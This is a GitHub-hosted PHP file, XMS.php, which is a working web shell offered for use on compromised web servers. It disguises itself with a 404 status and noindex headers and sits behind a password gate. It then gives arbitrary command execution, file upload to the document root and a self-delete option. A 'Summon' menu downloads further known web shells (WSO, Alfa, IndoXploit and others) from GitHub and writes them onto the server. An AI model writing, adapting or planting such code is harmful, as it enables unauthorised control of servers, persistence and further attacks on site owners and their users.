-
Notifications
You must be signed in to change notification settings - Fork 1
/
XMS.php
218 lines (206 loc) · 6.8 KB
/
XMS.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php
session_start();
error_reporting(0);
http_response_code(404);
ini_set('max_execution_time', 0);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
@header("X-Accel-Buffering: no");
@header("Content-Encoding: none");
@header("X-Robots-Tag: noindex, nofollow", true);
/////////////////////////////////////////////////
// Author: msverse.site
// Date: 23/03/2024
////////////////////////////////////////////////
// Jangan lupa mampir ke blogku ya
$password = "2cc652642aa55f441260f27829c5e631"; // md5: XMS
function login_shell() {
?>
<!DOCTYPE HTML>
<html>
<head>
<meta name="robots" content="noindex, nofollow">
<title>XMS</title>
<style type="text/css">
html {
margin: 20px auto;
background: #000000;
color: green;
text-align: center;
}
header {
color: green;
margin: 10px auto;
}
input[type=password] {
width: 250px;
height: 25px;
color: red;
background: transparent;
border: 1px dotted green;
margin-left: 20px;
text-align: center;
}
</style>
</head>
<body>
<center>
<header>
<pre>
__ _____ ___ _____
\ \ / /| \/ |/ ___|
\ V / | . . |\ `--.
/ \ | |\/| | `--. \
/ /^\ \| | | |/\__/ /
\/ \/\_| |_/\____/
</pre>
</header>
<form method='post'>
<input type='password' name='password'>
</form>
</center>
</body>
</html>
<?php
exit;
}
function kill_shell() {
unlink(__FILE__);
exit;
}
function logout_shell() {
session_destroy();
header("Location: {$_SERVER['PHP_SELF']}");
exit;
}
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
if (empty($password) || (isset($_POST['password']) && (md5($_POST['password']) == $password))) {
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
} else {
login_shell();
}
}
function upload_with_file_get_contents($url, $file) {
$data = file_get_contents($file);
$result = file_put_contents($url, $data);
return $result !== false;
}
if(isset($_GET['action'])) {
$action = $_GET['action'];
if($action == 'kill') {
kill_shell();
} elseif($action == 'logout') {
logout_shell();
}
}
?>
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title>XMS Uploader</title>
<meta name="robots" content="noindex, nofollow">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
font-family: "VT323", monospace;
background-color: #f9f9f9;
color: #333;
text-align: center;
}
img {
max-width: 100%;
height: auto;
}
</style>
</head>
<body>
<img src="https://i.ibb.co/gS5zDmF/1711143224188.png" width="200" height="300" alt="XMS">
<p><a href="https://www.msverse.site" alt="msverse">[ XMS ]</p></a>
<p>[ <a href="?action=kill">KILL</a> ] [ <a href="?action=logout">LOGOUT</a> ]</p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="just_file">
<input type="submit" name="upload" value="Upload!">
</form>
<?php
$root = $_SERVER['DOCUMENT_ROOT'];
if (isset($_POST['upload'])) {
$files = $_FILES['just_file']['name'];
$dest = $root . '/' . $files;
if (is_writable($root)) {
if (@copy($_FILES['just_file']['tmp_name'], $dest)) {
$web = "http://" . $_SERVER['HTTP_HOST'] . "/";
echo "<font color='green'>sukses upload -> <a href='$web$files' target='_blank'><b><u>$web/$files</u></b></a></font>";
} else {
echo "<font color='skyblue'>gagal upload di document root.</font>";
}
} else {
if (@copy($_FILES['just_file']['tmp_name'], $files)) {
echo " upload <b>$files</b> di folder ini";
} else {
echo "gagal upload";
}
}
}
?>
<form method="post">
<select name="shell_url">
<option value="https://raw.githubusercontent.com/MSVerse/msvfm/main/msvfm.php">Mini Shell</option>
<option value="https://raw.githubusercontent.com/nicxlau/alfa-shell/master/alfa-obfuscated.php">Alfa Shell</option>
<option value="https://raw.githubusercontent.com/0xAsuka/indoxploit-shell/master/shell-v3.php">IndoXploit V3</option>
<option value="https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php">p0wny shell</option>
<option value="https://raw.githubusercontent.com/mIcHyAmRaNe/wso-webshell/master/wso.php">WSO Shell</option>
<option value="https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php">Marijuana</option>
<option value="https://raw.githubusercontent.com/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php">0BYT3M1N1 Shell</option>
<option value="https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php">Adminer</option>
</select>
<input type="submit" value="Summon">
</form>
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
$cmdOutput = null;
$cmd = $_POST['cmd'];
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$cmd = "cd " . escapeshellarg($path) . " && " . $cmd;
if (function_exists('exec')) {
@exec($cmd, $output, $returnVar);
if ($returnVar === 0) {
$cmdOutput = implode("\n", $output);
}
} elseif (function_exists('shell_exec')) {
$cmdOutput = @shell_exec($cmd);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($cmd, $returnVar);
$cmdOutput = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($cmd, $returnVar);
$cmdOutput = ob_get_clean();
}
}
?>
<form method="POST" action="">
<input type='text' size='30' height='10' name='cmd' placeholder='Command'>
<input type="submit" class="empty-button">
</form>
</div>
<?php if (!empty($cmdOutput)) { ?>
<div class="message-container">
<pre><?php echo htmlspecialchars($cmdOutput); ?></pre>
</div>
<?php } ?>
<?php
if(isset($_POST['shell_url'])) {
$url = $_POST['shell_url'];
$filename = basename($url);
if (upload_with_file_get_contents($filename, $url)) {
echo "<font color='green'>ok <b>$filename</b></font>";
} else {
echo "<font color='red'>er <b>$filename</b></font>";
}
}
?>
<br>
<footer>[ <a href="https://www.msverse.site" alt="msverse">msverse</a> ]</footer>
</body>
</html>